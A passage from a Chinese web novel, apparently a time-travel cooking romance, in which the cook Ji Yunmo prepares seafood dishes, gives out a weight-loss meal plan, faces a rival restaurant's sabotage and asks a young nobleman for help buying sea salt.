“好吃。”沈秋华啃着煎马鲛鱼,腮帮鼓鼓的,“也不知纪姑娘是怎么做的,这煎鱼就是府上的厨子也做不出这样的味道。”
沈秋薇的关注点倒不在鱼好不好吃,她盯着盘中剩的鱼块,若有所思道:“持续吃这些,当真能减重吗?”
“定是能的,沈二小姐信我。”纪允茉端着两碗咸奶茶,推门而入,“我还有些菜谱,都是减重时,一日三餐所吃的吃食。我写好了,沈二小姐拿去,府上的厨子按这些去做着吃,一月后不见成效,到那时沈二小姐来状告我也行。”
沈秋薇对纪允茉的印象很好,非但没有怀疑,还十分配合的说:“我信纪姑娘!”
纪允茉没有想到,随手写的一张现代人减肥食谱,能与沈秋薇自此结实成好友,更没想到,有时是自己埋下的善举有天反过来帮了自己。
12. 椒盐皮皮虾
“来份煎马鲛鱼。”
“楼里可还有空位?我也来一份。”
“后面的,别推搡我,真是一点儿礼数都没有,不知道先来后到吗?”
“你这小娘子,怎的说话?分明是后面有人推我!”
日禹时分,锦蜀酒楼前挤满了人,一眼瞧去,各色衣裙的少女争着往里进,此刻也顾不得那些个礼仪,生怕晚了会没位置。
店小二见人群中起了争执,开口劝道:“二位,何必因为这个伤了和气……”
他的话都没说完,就被其中一人打断,“那你倒是说说,究竟是谁这般无礼,推人还不承认了?”
“这……,这……”他看着面前气得脸色通红的人,哪个也不敢得罪,磕磕巴巴说不出个缘由。
开萨尔不急不徐的笑着送走了一桌客人,走到店小二身旁,拍拍他的肩膀,示意人离开,而后对着轰乱的人群,嘴角笑意不减,双手一捧,朝人群行了一礼。
“诸位贵客,想必大家今日都是来尝煎马鲛鱼的,我是锦蜀酒楼掌柜的,我保证今日的马鲛鱼管够,每人都能点上一份。”
人群听了承诺,交谈声瞬间低了下去。
“但——”开萨尔语气一转,“只有一个要求,诸位都排好队,咱们一个一个的进。”
“就当是给我个面子。”开萨尔说完,又朝着人群行了一礼。
这样一套操作下来,若是不排队,倒显得是自己粗鄙不堪了,更何况来的都是些未出阁的姑娘,不似些泼皮无赖那般的无礼难缠。
人群排成一条长龙,酒楼内热闹无比,惹得不远处斜对角福瑞酒楼的罗掌柜踮脚探着脑袋,满是酸味儿的说:“他家倒是不知从那里请来个庖厨,本该倒闭的店,生意倒是比我们都要好了。”
管着账房的刘良白双手插在袖中,也道:“谁知道用了什么法子,人全跑他们那儿去了。”
“掌柜的,这么下去可不行。不妨咱们派个人,也去采买些马鲛鱼。”他不以为然的说:“就是煎个马鲛鱼,不是什么难事。要是客人想吃,来咱这儿也能吃上。”
罗掌柜转身看着店里空着近乎一半的桌椅,焦急万分,却又想不出比这更好的法子,点点头。
“那便按你说的,尽快去。”
罗掌柜看着锦蜀酒楼外排起的长队,一手负于身后,一手紧握,眼中染上嫉妒的意味。
人越多,整个酒楼就越忙。
单手拎起油壶,锅底倒油,放入切好的马鲛鱼,拿锅铲来回翻了两次,不到五分钟,一盘炸的金黄焦脆的马鲛鱼就盛了出来。
做法简单,只是用油讲究。
今日奔着这份吃食的人极多,纪允茉重复操作着,正巧开萨尔走了进来,她道:“掌柜的,我有个想法,您看能行吗?”
“纪姑娘的生意头脑比我这干了半辈子的人都好使,你说的准能行。”
自从沈秋薇将常吃锦蜀酒楼这道菜能减重的事情,同她几位好友说了之后,这个消息就越传越广,为了保证效果,来点上一份马鲛鱼的人,都能获得一份同沈秋薇一样的减重食谱。
客流因此比往常多了一倍,银子哗啦啦的进,开萨尔更是笑意从未从脸上下来过。
纪允茉道:“我想做份椒盐皮皮虾,点马鲛鱼的,都按人头送上一只算是试吃。要是觉得好吃,她们定会再点上一份。”
“这样新菜也算是能趁着这波人流宣扬出去,就当是把印招子的钱换算到食材上。”
开萨尔当即应道:“这法子好,就这么定了。”
先前,他们自是不愿尝试吃皮皮虾,总觉得它们似大虫般,但当花甲粉被认可后,好似只要是纪允茉做出来的东西,那就没有很难吃的。
“阿姐,我这边暂时不太忙,菜都备好了。”沙拉买提跑到她的身旁,压低声音说着,“有什么我能帮的上的吗?”
纪允茉想起自己一直在忙,皮皮虾都没来得及处理,从盆中捞出一只,右手拿着剪刀,左手捏住皮皮虾。
“还真有活儿,帮我把这些虾都给剪一下,看好该怎么去剪。”她说着拿剪刀剪去皮皮虾的头尾和四周尖锐的部分,再拿净布擦干虾身,放到空盆中。
“这样就好了,学会没?”
沙拉买提拍拍胸脯,道:“会了,这比我处理那些鸡子和鱼都简单,阿姐就放心交给我。”
纪允茉将手中的剪刀递给他,“你就负责剪,我来给虾擦干。”
“嗯。”
两人分工合作,处理好皮皮虾后,纪允茉拿了玉米淀粉将擦干的皮皮虾整只裹满淀粉,油热放入锅中,虾身渐渐变红,直至外皮炸至金黄酥脆后捞出。
姜蒜茉炒香,再放入紫色的洋葱丁和青红辣椒丁,翻炒出香味,倒入炸好的皮皮虾,将这几样食材翻炒均匀。
一勺椒盐粉、一勺辣椒粉,翻炒一分钟后出锅。
酥香焦脆,配上洋葱和青色、红色的辣椒,同大排档的味道一模一样。
这道菜,每每同几个朋友约着在家里做饭小聚时,她都要做上一道,再拿出从冰箱中冷冻好的啤酒喝上一杯,一天的烦恼能在饭桌上烟消云散。
“阿姐,这椒盐皮皮虾就这么做好了?”沙拉买提看着她将虾尽数盛出,问道。
纪允茉愣了下,回过神来,“对,这就好了。”
“椒盐皮皮虾再加上些烤串,点了饮子配着,那才叫好。”她夹起放到瓷碗中,递给沙拉买提,“这是给你帮忙的奖励,去吧。”
沙拉买提不客气的接过,兴奋的跑开。
小孩子想要尝一口好吃的心思,从一开始说要帮忙时就写在了脸上。倒是像过年时,围在炸年货的妈妈身边,说是要帮忙,实则偷偷的吃上一个炸好的肉丸子之类的,被发现后也是像这样笑着跑开。
做法简单,难就难在这调料上。从系统空间中兑换出来的调味料,都是这个朝代所没有的,这也造就了所有的新菜式,只有锦蜀酒楼能做出那个味道,换了别家都不行。
店小二端着餐盘,来往于后厨同各个客人之间,每一道煎马鲛鱼都同椒盐皮皮虾一齐放下,还要在客人疑惑的目光中补充上一句,“这是酒楼今日推出的新菜——椒盐皮皮虾。一人一只的试吃,要是觉着好吃,可点上一份。”
“多谢!”
话音落下之后,有人夹起一只,剥了壳,虾肉没有因油炸再炒了之后变干,反而肥美多汁,咸香微辣。
更有甚者,连
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带着炸过的虾壳一齐咬下去,虾壳经过高温油炸变得金黄酥脆,‘咔嚓’一声咬碎,带裹着的椒盐粉咀嚼起虾肉,辣椒粉很好的去除了海鲜的腥味。
咸中带鲜,辣而不燥,很是开胃。
让许多本是奔着求减重菜谱和煎马鲛鱼而来的人,点上一份尝尝鲜。
至于减重的事情,自然是吃饱了才有力气去做,偶尔放纵一次,吃个好吃的,也不足为过。
雅间内,霍炎辰要了壶好酒和最新的一些菜式,自然也包含这椒盐皮皮虾,他抬手拎起酒壶,替坐在对面的梁宏元将空了的酒杯满上。
梁宏元在家中排行第三,同父亲梁将军接了圣上旨意,来镇守边疆,因他平定战乱有功,封了副将。
“宏元,你可算是想着来看看我了。先前我邀你来聚,你总说咱们,一个在京城,一个在博塔,离的远。如今我爹来博塔任职,这总算没了搪塞我的理由吧?”
梁宏元和霍炎辰自小相识,曾一起逃过太傅的课、在校场骑马摔个人仰马翻、第一次约着喝酒,醉的不省人事,被霍玄骂了整整三天。
这些事在霍炎辰的眼前一一闪过,他见梁宏元端起酒杯,郑重的说:“不敢不敢,这些年一直陪着父亲把守博塔境地,实在是抽不开身回去。”
“好在听说炎辰你过来了,这不我一休沐就来看你了。”梁宏元说罢,一仰头,第二杯酒落肚。
霍炎辰看他这般,也笑道:“你等下可要尝尝我点的菜。”他靠近梁宏元,悄声说:“这锦蜀酒楼来了个小娘子,烧的一手好菜,保准你会喜欢吃。”
梁宏元自进酒楼的那一刻就觉着可疑,在他的印象之中,锦蜀酒楼向来生意惨淡,如今却是座无虚席,霍炎辰的一番话倒是让打消了他先前的疑虑。
“生意做的这般好,我倒是真要好好尝尝了。”
“而且,这小娘子生的资质不凡,不输那些个大家闺秀。”霍炎辰眉梢微扬,夸赞纪允茉的话就这么脱口而出。
谈话间,店小二将试吃的椒盐皮皮虾放下,重复着不知说了几遍的话,霍炎辰给了他些碎银,摆手示意他下去,顺带要了份椒盐皮皮虾。
“要说这煎马鲛鱼卖的如此之好,可得多谢了沈二姑娘。”他看着那盘两面炸的金黄的马鲛鱼说道。
梁宏元眼中闪过一丝光亮,他猛地抬头,拿着汤匙舀起一只云吞,装作不经意的问:“沈大人一家也来博塔了吗?”
“对啊,我记得不错的话,博塔是他们老家吧?兴许是沈大人念旧,舍不得故乡,调官而来了。”霍炎辰没有发觉丝毫的不对,随口应着。
“没成想在这里还能再遇见她。”梁宏元咬了口云吞,含糊不清,自言自语的说着。
霍炎辰没听清,只是继续与他扯着闲话。
二楼雅间的窗子开着,楼下热闹极了,惹得两人忍不住起身走至长廊朝下看去。
于众多倩影之中,梁宏元一眼瞧见了日思夜想的人,可他强压下这份欣喜,开口语气仍旧平静,“楼下究竟发生了何事?”
“过去找人问了不就知道了。”
霍炎辰是个爱凑热闹的,而梁宏元自知这一点,顺理成章的跟上他的步子,跨上台阶,一同而下。
13. 清蒸银鲳鱼
一群人将从后厨出来的纪允茉团团围住,为首身着橙绿配色长裙的女子,更是气焰嚣张的说道:“你凭什么敢说自己的食谱,让人坚持吃了能减重?”
跟在她身旁的女子,双手叉腰,也道:“这又是鱼又是鸡肉的,一直吃下去,怕是不能减重,反而让人发胖吧?”
“还有这”橙绿配色长裙的女子指着手中的食谱,“这又让人每日只吃些菜叶子和玉米,是想把人饿死吗?”
鸡胸肉、煎马鲛鱼,这些热量低、蛋白质高,很有饱腹感。
至于她们口中的菜叶子,更是减肥人必备的蔬菜沙拉。
纪允茉不知该如何向一群古人解释二十一世纪才有的减肥食谱,只得无力扶额摇头。节奏被这两人越带越偏,围观的人群似是一堆干草,若有半点火星就会被点燃,霎时间,彷佛连空气都凝固了。
见她面露难色,为首挑事的女子更加得意的加大音量道:“看她一言不发的样子,定是谎话被戳破了,不知该如何收场!”
“你凭什么说我这食谱,一直坚持吃下去不会减重的?”纪允茉强迫自己冷静过后,有条不紊的说:“食谱就如同郎中开的药方子一样,如若病人不按开的药方吃药,怕是神仙来了也难救。”
“相同的,若是诸位不按我这食谱来做一日的餐食,又或是坚持不下去,又怎能成功减重呢?”
“更何况,若是真心想要减重的,就算没有这张食谱,也能成功。要是不诚心的,只怕会不知羞耻的反过来说是我这食谱不行了。”
一凡话下来,原本还在小声议论的人纷纷沉默了下来。本身这张食谱,是点了煎马鲛鱼就送的,酒楼并无额外加价,送的东西,无论好坏,倒是不能再反说主人家赠送的东西不好了。
橙绿配色长裙的女子,此刻脸比酒楼门前挂的灯笼还要红,指向纪允茉,“你……,你……,鬼话连篇……”
纪允茉毫不客气的回怼,“我再鬼话连篇,也不及姑娘你,有这污蔑人的好本事。”
“我可以为她作证,按食谱所说的去做三餐,坚持吃下去,能减重的。”沈秋薇挤过人群,站到纪允茉身边,抬手摘了帷帽。
她下巴上的赘肉消失了,腰肢、小臂变得纤细,柳眉杏目,还是那张圆圆的脸,瘦下来后更美了。
沈秋薇身着珠白色长裙,腰间赤色绦带随着她的步伐轻轻摆动,浅蓝色锦缎外袍上绣着迎春花,是中原女子的装扮,惹眼极了。
她摘下帷帽的瞬间,梁宏元同围观的人一样的震惊,目光定在她的身上,久久不愿离去。
“我便是最好的例子。”沈秋薇主动挽起纪允茉的胳膊,眼神坚定的看着周围质疑的人,“诸位可是知道我的,在前些日子,这其中怕是还有人笑我臃肿肥胖。”
“如今,我按着纪小娘子给的食谱做着一日三餐吃,每日又晨起锻炼,倒也瘦了下来。”
“这食谱本就是纪小娘子好心写的,未收取一钱,现下倒是有泼皮无赖叫嚣着食谱不好了。”
沈秋薇上前两步,仔细打量着那橙绿配色长裙的女子,忽地记了起来,“我记得不错的话,你不就是福瑞酒楼,罗掌柜的侄女儿吗?”
沈秋薇先前总被沈秋华拉去福瑞酒楼吃午食,一来二去对福瑞酒楼中的人也熟络了起来,她的话刚说完,围观的人被点醒了一般,一人道:“怪不得呢,这是派自己的侄女儿来坏人家的生意了。”
“不好好想如何做些新的菜式留人,整日里想这些下作的勾当,这就是福瑞酒楼揽客的法子吗?”
“我瞧着就是眼红人家生意做的好,跑来这里闹事了。”
议论声四起,矛头调转,挑食的女子再也站不住了,推开人群,朝外跑去。
霍炎辰同梁宏元就这么站在通往二楼的木阶上看了出热闹,然而人流渐渐散去时,后者的目光仍旧停留在沈秋薇的身上。
“欸,怎么不走了?”霍炎辰拍着梁宏元的肩膀,顺着他的视线看过去,“热闹还没看够?”
两句话说罢,梁宏元堪堪回过神来,扬起一抹笑意,“这就走。”
他嘴上这么说着,却未曾移动半步,视线仍旧落在那道倩影上,而站在人群中的沈秋薇一抬头就看见了他,也朝着他淡淡一笑。
梁宏元立马低头,双手无处安放一般,慌张之间,扶着栏杆。
霍炎辰看出了端倪,试探性的说:“方才帮着解围的女子当真是智勇双全。”
“她一直都是这般。”梁宏元小声说了句,霍炎辰没听清他说什么,只是上半身倾斜着,凑近打量着他的表情。
纪允茉也发现了站在梁宏元身边的霍炎辰,她朝他挥手,“霍大少爷!”
霍炎辰借势推着梁宏元下楼,应着,“纪姑娘,你手艺了得,新作的菜,每一道当真比京城中那些个名厨做的都好吃。”
他毫不吝啬的夸了起来,沈秋薇见状,问道:“纪小娘子,你们都认识?”
“我和她认识,有些矛盾,不说不相识。”霍炎辰抢先一步介绍道:“这位是梁副将,梁宏元。”
纪允茉朝梁宏元行了一礼,就听霍炎辰又道:“我们同沈二姑娘也认识,曾在圣上设宴上远远的瞧过一眼。”
“梁沈两家相邻,我们又同是在京城长大,要说宏元和沈二姑娘倒是青梅竹马。”
‘青梅竹马’一词说出后,梁宏元胳膊轻轻碰了碰霍炎辰,示意他别再继续说下去了。
纪允茉了解到几人认识之后,道:“沈二小姐今日帮我解围,如若不嫌弃的话,大家聚一聚,今日我请客。”
“有新到的银鲳鱼,我再做道清蒸银鲳鱼来。”
沈秋薇当即道:“替纪姑娘解围,实属我看不过她们那般的欺负人,举手之劳,纪姑娘不必放在心上。”
“纪小娘子都这样说了,沈二小姐就别再推辞,正好我们也好久不见了,少时玩伴相逢,一道吃顿午食也好。”
“你说是吧?宏元。”霍炎辰朝他眼神示意着,良久,梁宏元才沉闷的嗯了声。
纪允茉办事利索,央着人给他们的上了许多菜后,又跑回后厨将洗净的银鲳鱼划花刀,两面均匀抹上盐,放了葱和姜丝腌十分钟。
小葱一根、小米椒一个,全都切丝备用。
锅中水开后放上箅子,莲花纹瓷盘上摆上两条腌制好的银鲳鱼,大火蒸上五分钟,估摸着时间一到,纪允茉双手拿着筷箸,左右手各一只,将篦子连同鱼一起挑了出来。
再去掉葱和姜丝蒸出来的汤汁,放上方才切好的小葱丝、小米辣丝,‘哗’的一声淋上热油。
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油香激出银鲳鱼本身的鲜味,勾起食欲。
到此还没完,清蒸银鲳鱼需配的酱汁,才是关键。
热锅中放了少许油,葱姜蒜爆香,加一勺水,又舀了大半勺从系统空间兑换的蒸鱼豉油,一小勺白糖,搅拌均融化之后,浇在刚淋了热油的银鲳鱼上。
银鲳鱼肉质紧实,鲜甜的味道,加上调好的料汁,极其下饭。
纪允茉亲自端起托盘,将清蒸银鲳鱼为几人端了上去,满脸期待的说:“这鱼刚到,这也是做出来的第一盘菜。”
沈秋薇葱白的指尖握住筷箸,夹起一块鱼肉,放入口中,“鲜甜的口感倒是同河豚不相上下。”
霍炎辰只看了眼卖相极好的清蒸银鲳鱼,就道:“纪小娘子做的菜就没有不好吃的。”
“宏元,你也尝尝看。”他极力的推荐着,刚吃了云吞和海肠捞饭的梁宏元,早就想试试看这位人人口中称赞的大厨的手艺了。
蘸着料汁的鱼肉刚入口,他眼前一亮,点头说道:“当真不错。”
“真是惜字如金,多夸人两句不好吗?”霍炎辰打趣着,见纪允茉将要离开,又叫住她,直截了当的说:“纪小娘子,日后若是做了什么新的菜式尽管派人去府上叫我,霍某定来捧场。”
纪允茉朝他行了一礼,笑道:“自然,那就谢过霍大少爷了。”
“不必如此拘束,你也同他们一样,叫我霍炎辰,或是单叫小字也可。”
霍炎辰一贯流连于烟花之地,肉麻的情诗都是脱口而出,就更别提这些称呼之类的,惹得纪允茉登时愣在原地,不知如何是好。
“我看就不必了,城主之子,岂是我等能这般称呼名讳的?”周则衡及时赶到,端来了壶马奶酒,将话题挑开,“这是掌柜的听闻,沈二小姐替纪姑娘解围,特意让送来的。”
沈秋薇连忙道:“纪小娘子给了我食谱,助我减重,这都是我该做的。”
周则衡笑着点头回应,转头又对纪允茉道:“后厨那边叫你回去了。”
从二楼的雅间到厨房,要下到一道,再穿过一条长廊,送菜的人来往有序,周则衡终是忍不住了,停下脚步,也拦住了纪允茉。
他道:“那霍炎辰就是个浪荡公子,整日无所事事,往后还是离他远些。”
纪允茉没反应过来,道:“他没有你说得这么不好吧?我觉得还好。”
话音落,周则衡不再多说一句,转身快步往前走去,他比纪允茉高出许多,步子又迈的大,轻松的就将人甩在身后。
纪允茉加快步伐跟上他,问道:“他也不坏,每次出了新菜,还总是来酒楼捧场。”
这话一说出口,周则衡轻哼了声,步子迈的更快了。
“周则衡,你是生气了吗?”纪允茉问。
他仍旧不回话,只是听着身后的人说:“你同掌柜的一起去买的海盐买到了吗?”
“赶了一天的路,吃饭了吗?我给你留的还有吃的!”
周则衡没有回答她,寻了处安静的地方,停下脚步,紧贴着墙。有那么一刻,觉得自己疯了一般,开始会因为一个人将情绪和注意分给了其他人,而同孩童般生气、不理人。
他修长的指尖捻着眉心,仰着头,喃喃道:“真是失心疯了……”
14. 泰汁鱿鱼
‘噼噼啪啪’一阵爆竹声于街头传来,纪允茉刚得了空闲,坐下还没喝上两口茶,就见原本将要踏进酒楼里的人,在听到一阵鞭炮声后,齐刷刷的跑了出去。
出于好奇,她也放下手中的茶盏,出门望去。
空气中弥漫着炮仗味儿,红色的纸屑被争相而过的人群踩得整条街都是。
纪允茉站在锦蜀酒楼门前的台阶上,就见一条道路相隔、斜对面的福瑞酒楼门前围满了人,刘良站在门前,身旁还跟着一个手拿铜锣的伙计。
锣声敲得惊天动地,刘良扯着嗓门喊道:“福瑞楼今日凡进店点菜满三百文的,都见减免五十文。另,有上新的菜式,诸位可尝尝看。”
话刚说完,纪允茉瞧见,那前些日子在锦蜀酒楼里闹事的女子说道:“咱们福瑞楼也做的有煎马鲛鱼,楼上位子多的很,也不用排队等。”
此话一出口,人群里议论的声音更大了些。要知道,福瑞酒楼之所以能成为博塔生意最好的酒楼,就是烤全羊做的皮酥肉嫩,叫人吃上一口,便能记住这个味道,想再来上些。
这烤全羊的秘方和调料,十几年间除福瑞楼的主厨外,无人可知,更无人可仿。
多数人去了,就是为上这么一口。
十几年不曾更改的菜谱,突然之间就上了新菜,吃饭还有折扣。
这等好事,任谁不想进去一探究竟。
人群一股脑儿的往里去,罗素素侧身笑着请人进去,忙里偷闲,一抬头就与依着门框,双手抱臂的纪允茉对视上了。
前者一副挑屑得意的神情,貌似在说:“不就是煎个马鲛鱼,谁还不会了!?”
他们吆喝的声音太大,生怕整条街都听不到一样,纪允茉倒是没有被气到,反而单指扯着下敛,吐出舌头,朝她做了个鬼脸之后,折返回去。
罗素素一跺脚,低低道:“哼!看你还能得意多久。”
霎时间,锦蜀酒楼内的客流比平时少了一半,开萨尔自是也见了福瑞酒楼招揽客人的手段,跑去后厨,焦急道:“那群泼皮无赖的,真是脸皮都不要了,这般的来抢生意。”
“我们做什么,他们就照搬的模仿了去。”
“掌柜的,不用担心。”纪允茉去着鱿鱼内脏,笑着说:“菜式他们能模仿,但是那个味道,他们是绝对做不出来的。”
“煎马鲛鱼,我们用的是黄油和橄榄油,这两种油都是二十一……”她的话还没说完,立即改口道:“都是我爹教我怎么熬制的,我爹很厉害,他先前在宫里做菜的。”
“我跟着也学了不少,故此能做得出来这些新奇的菜式。”
合理的理由纪允茉信口拈来,御厨老爸的身份一出来,这些天做出来的东西,倒也说的过去。
天子脚下,皇城宫里的吃食,普通的百姓哪里会见过。
听到这里,开萨尔脸上的愁容舒展开来,“纪姑娘这么一说,我就彻底放心了。”他大手一挥,“那就任凭他们怎么模仿去吧,反正那个味道也是仿不出来的,就像他们的烤全羊一样,整个博塔也是没有一家酒楼能够做出那样的味道。”
“这下好了,我们往后的每道菜,也都能成为咱们自己的招牌,旁人也做不出这个味道来。”开萨尔乐的合不拢嘴,终于放下心来。
纪允茉也趁机说道:“掌柜的,正好。我有一件事想跟掌柜的商量。”
她的要求,开萨尔向来都是答应的,这次也不例外,纪允茉刚试着问出口,开萨尔就道:“纪姑娘的主意,一向都是可靠的,尽管说就是了。”
“我想的是,咱们上新的菜谱跟着季节走,哪个季节的什么鱼虾肥美,就做这些。”纪允茉考虑的很是周全,“当然了,一些常见的吃食,比方说云吞这类的,就一年四季照做。”
“但是季节的菜式,就是过了那几个月,便更换,也不可再上。掌柜的看如何?”她说罢,等着开萨尔给出一个定夺。
答案自然是她所想要的,“没问题,换季的一些瓜果蔬菜,有时候也没法再上,更何况说鱼虾一类的了。”
努尔也道:“以往酒楼里做菜也是这样,一些过了季节的东西,就是想吃,也没法子做出来。”
“食材根本就买不到的。”
纪允茉笑着点点头,这事就这么应了下来。一开始她处理的鱿鱼也弄好了,又拿了小番茄来对半切开。
没有红色的彩椒就换了个黄色的,切成片,再取香菜和小米辣,将其全都放进石臼中,一边捣碎研磨,一边加入糖和鱼露,等到捣的差不多时,加一点点的水进去,接着进行研磨。
这一步就极其考验臂力,光是将这些食材磨碎,纪允茉一直紧绷的小臂就已经开始微微发酸,她低头看了眼石臼中马上要磨成的食材,想要就此放下。
“要是有个搅拌机就好了,这样下去会给人累死的。”纪允茉腹诽着,叹了口气。
沙拉买提看出了她的无奈,主动接过她手中的石臼,“阿姐,这些小事交给我就好了。”
纪允茉侧目看去,眼神与他对视上,瞬间就明白了,仍旧是他们两人之间老一套的做法。沙拉买提来帮她,她给他留些新做出来的好吃的。
料汁有人接手了之后,纪允茉又拿了瓷碗来,酱油和兑换的心心念念的鱼露,按二比一的比例放,再加了些许白糖进去。
水开放入处理好的鱿鱼,烫上一分钟左右,捞出后拿干净的棉布擦干水分,连带着鱿鱼筒里面的水也要倒干净,再放入酱油和鱼露调制的料汁中腌渍。
而这个时候的鱿鱼烫到了五分熟的样子,还要捞出回锅,用小火慢慢给鱿鱼煎上色,直至鱿鱼完全熟透,表面微焦,锅铲稍微一碰,压痕Q弹的复原。
拿了椭圆形的白瓷盘来,放上刚刚石臼中研磨好的酱,平铺上一层,再把一整只的鱿鱼切块装盘,最后加入对半切开的小番茄、柠檬丝作为装饰。
一道泰汁鱿鱼就做好了。
摆盘精致,经过酱油和鱼露腌渍的鱿鱼,配上石臼中研磨好的泰汁,味道层次也更丰富。
“好了。”纪允茉示意一旁等待的店小二可以上菜了,又慌忙将锅盖好,待后者走远
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了,才盛出锅中还盛下的一些鱿鱼,分成两份,随手放上一些小番茄。
一份给了沙拉买提,“拿好,这次刚做的鱿鱼不多,你要是喜欢吃,等晚饭的时候,阿姐再去给你做些出来。”
沙拉买提端着那碗鱿鱼,焦香的味道钻入鼻尖,他连忙摇摇头,夹了一块入口,“不用了阿姐,每次新菜上新能吃到一两口,我就很开心了。”
纪允茉揉揉他的脑袋,笑着说:“放心,阿姐以后做新的菜,都会给你留一些出来。”
“谢谢阿姐,阿姐最好了!”
沙拉买提这个年纪,正是长身体的时候,小孩子贪嘴,无可厚非。整个后厨,只要你做的不是很过分,谁也不会太较真的。
“先别着急着谢,阿姐往后还有事情需要你帮忙呢。”纪允茉说着端起另一碗鱿鱼,这个时间段,正好轮到她休息了。
掀开后厨门口的布帘子,穿过一道走廊,跨过一个圆拱门,就到了他们平时休息喜欢待的一个庭院,离后厨算不上太远,却有棵银杏湖,树下一张石桌,几个木凳。
此刻,只有周则衡一人在提壶倒着茶水喝,他见纪允茉来了,又拿了个杯子,倒上一杯。
“也是这个时候休息?”他问。
锦蜀酒楼的帮工和后厨有五十来个人,每人休息的时间段不同,休息时会去的地方也不同,纪允茉同他,都工作了几个月,休息的时候也没碰上过几次。
“这个给你。”纪允茉将端来的泰汁鱿鱼放到他面前。
“又做了新菜。”周则衡说罢,接过她递来的筷箸,刚想夹起一块尝尝,又道:“不会是有什么事想要我帮忙吧?”
被看穿了心思的纪允茉双手负于身后,催促起来,“你先尝一口,试试味道怎么样?”
鱿鱼煎的有些脆,酸、辣、鲜、香,一下子在口腔中爆发开来,鱿鱼肉Q弹脆嫩,很是开胃的一道菜。
倒是让人在暖春犯懒没胃口的季节里,忽地有了精气神。
“我还从未在一道菜里能尝出这些个味道来。”周则衡忍不住称赞起来,他也从未想过一开始遇见的人,真的能有这样的手艺。
纪允茉靠近他,坏笑着说:“还真有需要你帮忙的事。”
周则衡一脸‘我就知道’的样子,慢条斯理的问:“有什么事难住你了?”
他继续吃着鱿鱼,听纪允茉喃喃道来,“上次说的海盐,你打听了吗?”
“我跑了几家铺子,卖海盐的极少,大多都是卖吃的精盐。”
古代盐铁官营,这本书中所设定的朝代也是一样的,要想大批量的买盐也是一件难事,没有批准的证件,简直是寸步难行。
这一点,学过一些历史的纪允茉又何尝不知呢。
“该怎么办好呢?没有海盐,根本没办法进行下一步。”纪允茉犯了难,脑海中却闪过霍炎辰的身影,双手一拍,“对啊,我都忘了。”
“或许去问问他,说不定就有办法能买海盐。”
周则衡眉心一跳,莫名有些烦闷,他道:“你要去问谁?”
15. 春笋鳜鱼汤
“瞧瞧今年买回来的这些笋子,看上去又嫩又脆。”几个脚夫将一马车的食材全都搬到了后厨,努尔打开其中一袋,连连称赞着。
“若是做上一顿春笋三鲜汤,那滋味儿,真是想想都叫人直流口水。”
“可不是嘛!春天就该吃些笋子。”
带着泥土的褐色外皮包裹着淡黄色的笋子,靠近袋子,甚至有些清香绕鼻,纪允茉也跟着道:“这竹笋看上去的确不错。”
“正好如今也正是吃鳜鱼的时候,不妨做一道春笋鳜鱼汤,就当是今日上新的菜系了。”她说着就开始动手剥竹笋,几片竹笋叶子落地,露出嫩黄色的笋子。
‘咣当’一声放入铜盆中,而一店小二也着急忙慌的走了进来,脚步轻巧的越过人群,直奔纪允茉而去,“纪小娘子,霍大公子说他应邀来了,此刻已在喝茶等着。”
纪允茉继续剥着竹笋,头也没抬的说:“好嘞,让他稍等会儿。先送去些羊肉串,告知他,我三刻过后就去找他。”
店小二应着,端了一碟子羊肉串走了,“欸,好。”
今日本是纪允茉休息的日子,可她还是照常系上了蓝底白花的围裙,在灶台前忙碌着。沙拉买提从她手中夺过竹笋,推着将人推到一边,利索的剥起笋子来,“阿姐,说了这些活儿交给我就好。”
“我记得今日不该是阿姐上职吧?”没等纪允茉回答,他问道。
纪允茉没和他抢,拿了砧板片腊肉去了,熏得肥瘦相间的腊肉格外的硬,每一刀下去都是对手臂力量的考验,她不慌不忙的说:“今日约了霍大公子,有些事情要和他商量。这不,到了新鲜的鳜鱼和笋子,就想着做道菜给他。”
沙拉买提似懂非懂的点点头,在酒楼中帮工的这些日子,他也见过不少人约着吃饭,就是为央人去办的事情能够办成功。
民以食为天。
求人办事或是作为答谢,请客吃饭,就好似成了一种风俗。
鳜鱼背上打花刀,使鱼肉更好的入味。锅中烧水,放半勺盐烧开,片片嫩黄又有些泛白的竹笋倒入焯水,而后捞出备用。
热油去煎鳜鱼,两面金黄后,再加一勺白酒去腥增香,锅铲翻面,又舀了生抽,深红的汁水洒在鱼肉上,顺势往下流去,这鱼便是煎好了。
春笋鳜鱼汤重要的一步就是腊肉和笋子这两种食材,腊肉炒出香味后,加了焯过水的笋子来,翻炒均匀后,加水没过食材。
等到水咕嘟咕嘟的冒泡,放入煎好的鳜鱼,汤汁渐渐变得浓郁,成了奶白色。咕嘟了约莫十分钟左右,再加上蚕豆和虾米,继续煮五分钟。
纪允茉拿锅铲轻轻的翻动着食材,临出锅前,又放了半勺生抽、胡椒粉和冰糖,搅匀了后,撒上翠绿的蒜苗叶。
全都倒入青铜制成的小汤锅中,她左右手各垫着一块打湿的粗麻布,端着小汤锅直奔霍炎辰而去。
后者翘着二郎腿,坐在梨木红凳上,桌上放着的羊肉串一口没动,无聊到数起腰间玉佩上的流苏有多少根。
显然是等候多时了。
在听到脚步声后,仍旧盯着那流苏,一根一根的数着,压根儿没瞧进来的谁,等人将小汤锅放到桌上时,却问:“替我再问一声,纪……”
霍炎辰的话都没说完,纪允茉拉开圆凳,顺势落座,垫着粗布捏住汤锅盖子,掀开的瞬间鲜香扑鼻,她道:“让你等这么久,就为了做这一锅汤。”
木勺舀出奶白的汤汁,笋子嫩黄、蚕豆翠绿、虾米橙黄,卖相极好。
“现下正是吃鳜鱼和笋子的季节,可谓西塞山前白鹭飞,桃花流水鳜鱼肥。忙活半天,只为这一口。”她起身将汤碗放到霍炎辰跟前,又道:“配着汤,再夹快鳜鱼肉尝尝看。”
鲜香味勾得人忍不住咽口水,早早赶来未吃朝食的霍炎辰更是抵挡不住这样的诱惑,没跟她客气,夹起鱼腹,入口瞬间,滑嫩而鲜。
再看碗中汤底奶白泛着油花,笋尖清甜,一口能鲜到心底了。
暖呼呼的一碗下去,霍炎辰等人的无聊和愠意彻底消散了,“看在你做了这汤的份儿上,我等你那么久,也是值得的。”
纪允茉倒是抓住了这个点,她抬手又给霍炎辰盛着汤,“我本就是约霍大公子来锦蜀酒楼吃午食的,怎料到你来的这么早。”
“我这不是想着今日你休沐,早些来,晚些来都行。”说着,霍炎辰眼中带着一丝好奇,“既然是来找我办些事,我定当是要早到的,就是不知纪姑娘想托我办何事?”
瓷碗碗底和木桌相碰,发出清脆的一声响,纪允茉放下汤碗,开门见山的说:“你可有法子能帮我买些海盐?”
